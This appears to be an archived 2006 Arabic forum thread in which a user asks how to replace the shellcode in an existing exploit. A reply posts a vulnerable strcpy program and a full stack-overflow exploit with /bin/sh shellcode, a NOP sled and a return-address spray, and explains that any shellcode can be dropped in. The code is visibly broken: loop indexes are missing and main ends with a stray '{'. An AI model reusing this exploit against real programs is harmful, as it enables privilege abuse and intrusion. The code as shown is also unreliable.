الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

اهي الأشياء اللتي أغيرها في ملف الeXploit عشان ينفع التعديل معي؟

مغلق
بدأه n3rd في 31 ديسمبر 2006 · 3 رد · 918 مشاهدة · في لغة Assembly لأنظمة 16, 32, 64 بت
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم

طيب وعندي سؤال راح أضعه لكم وراح أضعه في قسم الإسمبلي:

الآن لما بكون قدامي eXploit.c وطبعا الشل كود موجود أمامي (وله مهمة يقوم بها ولنقل مثلا تنزبل برنامج وتنفيذه) أنا لو حبيت أغير الشل كود هذا بشل كود من عندي (ويقوم مثلا

بمهمة كوماند إكزيكيوشن على بورت معين)ماهي الأشياء اللتي أغيرها في ملف الـeXploit عشان ينفع التعديل معي؟

وشكرا مقدما

أخوكم خالد النويصر من الدمام

#2

حسب ما أعرف أنه ليس هناك قاعدة معينة أو طريقة ثابتة لكتابة الإكسبلويت ولكنها عادات على الأصح فمثلاً أنت تكون لك عادتك الخاصة في كتابة كود الاستغلال بينما شخص آخر يكون له طريقة أخرى ، ولكن على الأغلب تجد معظم أكواد الاستغلال المنشورة على الإنترنت تتبع نظام متشابه إلى حد بعيد فتجدهم دائماً يضعون الشل كود في المتغير المسى shellcode

فمثلاً خذ على سبيل المثال الكود المصاب هنا :

vuln.c

int main(int argc, char *argv[])
{
   char buffer[500];
   strcpy(buffer, argv[1]);
   return 0;
}

وكود الإستغلال الخاص به هو :

exploit.c

#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)		 // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv[])
{
   int i, offset;
   long esp, ret, *addr_ptr;
   char *buffer, *ptr;

   offset = 0;			// Use an offset of 0
   esp = sp();			// Put the current stack pointer into esp
   ret = esp - offset;	// We want to overwrite the ret address

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("	Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
 buffer = malloc(600);

// Fill the entire buffer with the desired ret address
 ptr = buffer;
 addr_ptr = (long *) ptr;
 for(i=0; i < 600; i+=4)
 { *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with NOP instructions
 for(i=0; i < 200; i++)
 { buffer = '\x90'; }

// Put the shellcode after the NOP sled
 ptr = buffer + 200;
 for(i=0; i < strlen(shellcode); i++)
 { *(ptr++) = shellcode; }

// End the string
 buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
 execl("./vuln", "vuln", buffer, 0);

// Free the buffer memory
 free(buffer);

   return 0;
{

وستجد في كود الإستغلال السابق أن الشل كود قد كتب في المتغير shellcode وهو يقوم بإنتاج سطر أوامر على اللينوكس ، وكل ما عليك هو أن تحضر الشل كود الخاص بك وتضعه في المتغير shellcode ليقوم بالوظيفة التي تريدها منه .

أرجوا أن أكون قد قدمت ما هو مفيد .

مع أني أحس أني لا أحسن الشرح أو توصيل المعلومات للغير .

تم تعديل هذه المشاركة بواسطة majed316 في 1 يناير 2007 في 00:24

42_47.gif
#3

جواب جميل

مشكور

أخوك خالد

#4

مشكور اخي على كودك جوابك الجميل ,فهو يشرح الامر بطريقه مبسطه ..

اخي سنايبر ,يوجد نقطه مهمه يجب ان توخذها بعين الاعتبار , وهو ان الثغره لها حجم , اي كل ثغره ولها حجمها المكسيمم للاستغلال , اي لا يمكنك بأي ثغره ,وضع اي شال كود له اي حجم ! ,يجب ان يكون حجمه بالبايتات امكاني ومطابق للحجم المتاح ...,كيف تلائمها للحجم وكيف تستطيع تحديد ما المناسب لا اعلم :D يجب فهم النقطه

اسف لانقطاعي عن الموضوع , لكني عيد وانشغالات :D

كل عام وانتي والاخوه بالف خير وسلامه , وان شاء الله السنه الجاي ,سنه نصر للاسلام ولله اكبر .

تم تعديل هذه المشاركة بواسطة TheKiLLeR في 2 يناير 2007 في 13:47

هذا الموضوع مغلق.

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…